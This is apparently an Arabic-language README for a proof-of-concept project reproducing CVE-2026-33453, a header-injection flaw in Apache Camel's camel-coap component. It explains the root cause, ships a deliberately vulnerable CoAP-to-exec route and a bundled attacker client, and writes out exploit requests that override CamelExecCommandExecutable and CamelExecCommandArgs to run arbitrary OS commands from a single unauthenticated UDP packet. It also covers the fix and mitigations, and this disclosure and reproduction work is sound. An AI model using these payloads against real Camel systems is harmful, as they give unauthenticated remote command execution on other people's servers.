
أداة إعادة إنتاج لـ CVE-2026-33453: حقن رأس في Apache Camel camel-coap يؤدي إلى تنفيذ أوامر عن بُعد عبر camel-exec
يوضح هذا المشروع ثغرة حقن رأس رسالة Camel في مكون camel-coap الخاص بـ Apache Camel، المسجلة باسم CVE-2026-33453. يمكن لمهاجم غير مصادَق بإرسال حزمة CoAP UDP واحدة أن يحقن رؤوس تحكم Camel* عشوائية في التبادل (Exchange)، محققًا تنفيذ تعليمات برمجية عن بُعد عند توجيه المسار إلى منتج حساس للرؤوس مثل camel-exec.
النشرة الأمنية: https://camel.apache.org/security/CVE-2026-33453.html
| الخاصية | القيمة |
|---|
| المكون | camel-coap |
| الفئة المتأثرة | org.apache.camel.coap.CamelCoapResource (handleRequest) |
| السبب الجذري | نسخ معلمات استعلام URI الخاصة بـ CoAP إلى رؤوس Exchange بدون HeaderFilterStrategy |
| CWE | CWE-915: تعديل غير مضبوط بشكل صحيح لسمات الكائن المحددة ديناميكيًا |
| التأثير | تنفيذ تعليمات برمجية عن بُعد (عبر منتجين حساسين للرؤوس، مثل camel-exec) |
| سطح الهجوم | حزمة CoAP UDP واحدة غير مصادق عليها (المنفذ الافتراضي 5683) |
| الإصدارات المتأثرة | من 4.14.0 قبل 4.14.6، ومن 4.15.0 قبل 4.18.1 |
| الإصدارات المُصحَّحة | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| المُبلِّغ | Hyunwoo Kim (@v4bel) |
في الإصدارات المتأثرة، يقوم CamelCoapResource.handleRequest() بالتكرار على خيارات استعلام URI لطلب CoAP ونسخ كل منها إلى رؤوس Camel Exchange الواردة، بدون تطبيق أي HeaderFilterStrategy:
// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
String name = (i == -1) ? s : s.substring(0, i);
String value = (i == -1) ? "" : s.substring(i + 1);
camelExchange.getIn().setHeader(name, value); // NO HeaderFilterStrategy!
}
تمتد CoAPEndpoint من DefaultEndpoint (وليس DefaultHeaderFilterStrategyEndpoint) ولا تقوم CoAPComponent بتطبيق HeaderFilterStrategyComponent، لذلك لا يوجد أي عامل تصفية على الإطلاق. وبالتالي يمكن للمهاجم تعيين أي رأس — بما في ذلك رؤوس التحكم الداخلية Camel* الخاصة بـ Camel — ببساطة عن طريق إضافة معاملات استعلام إلى URI طلب CoAP.
عندما يقوم المسار بتسليم الرسالة إلى منتج حساس للرؤوس، تغير تلك الرؤوس سلوكه. بالنسبة لـ camel-exec، تقوم الرؤوس CamelExecCommandExecutable و CamelExecCommandArgs بتجاوز الملف التنفيذي والوسائط المكونة على نقطة النهاية (تُحترم افتراضيًا في الإصدارات المتأثرة)، مما يؤدي إلى تنفيذ أوامر نظام تشغيل عشوائية. يتم كتابة الإخراج القياسي للأمر مرة أخرى في نص Exchange وإعادته في استجابة CoAP، مما يوفر قناة RCE تفاعلية.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class); // return stdout in the CoAP response
يقوم طلب عادي بتشغيل echo hello. المهاجم يتجاوز الأمر عبر الرؤوس المحقونة.
CoAP يعتمد على UDP (RFC 7252) بدون مصادقة مدمجة (DTLS اختياري ومعطل افتراضيًا)، لذلك لا حاجة لأي خدمة خارجية أو حاوية Docker — تطبيق إعادة الإنتاج هو خادم CoAP الضعيف وعميل مهاجم مدمج (عميل بسيط مثل coap-client من libcoap يعمل أيضًا).
mvn clean package -DskipTests
mvn spring-boot:run
يبدأ التطبيق المسار الضعيف على coap://0.0.0.0:5683/run ووحدة تحكم REST مساعدة على المنفذ 8080.
curl http://localhost:8080/exploit/normal
# -> CoAP response: hello
# Default benign proof: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"
# Choose a different executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"
في الخلفية، يرسل عميل CoAP المدمج حزمة واحدة:
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned
بدلاً من ذلك، باستخدام عميل CoAP عادي:
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"
ls -la /tmp/pwned
إذا كان /tmp/pwned موجودًا، فإن الرأس المحقون تجاوز أمر exec → RCE.
الحقن يحتاج فقط إلى منتج حساس للرؤوس في المصب. تسرد النشرة الأمنية، من بين أمور أخرى:
CamelExecCommandExecutable / CamelExecCommandArgs → تنفيذ أوامر نظام التشغيلCamelFileName → كتابة ملف عشوائي / تجاوز المسارCamelBeanMethodName → استدعاء طريقة مختلفةcoap://....removeHeaders("Camel*") بين مستهلك CoAP وهذا المنتج.لا حاجة للمصادقة؛ حزمة UDP واحدة إلى المنفذ 5683 تكفي.
الإصلاح (CAMEL-23222) يجعل CoAPEndpoint يحمل HeaderFilterStrategy ويطبقه في handleRequest() قبل تعيين الرؤوس، بحيث يتم تصفية الأسماء المسبوقة بـ Camel* على حدود CoAP مثل أي نقل آخر:
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
.removeHeaders("Camel*") مباشرة بعد from("coap:...").coaps://) مع مصادقة العميل لتقييد من يمكنه الوصول إلى نقطة النهاية.CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── CoapExecRoute.java # the vulnerable victim route (coap -> exec)
│ └── ExploitController.java # bundled CoAP attacker client (/exploit/normal, /exploit/attack)
└── resources/
└── application.properties
تم توفير أداة إعادة الإنتاج هذه لأغراض البحث الأمني والاختبار المصرح به فقط، لثغرة تم الكشف عنها علنًا وإصلاحها. لا تستخدمها ضد أنظمة دون إذن صريح.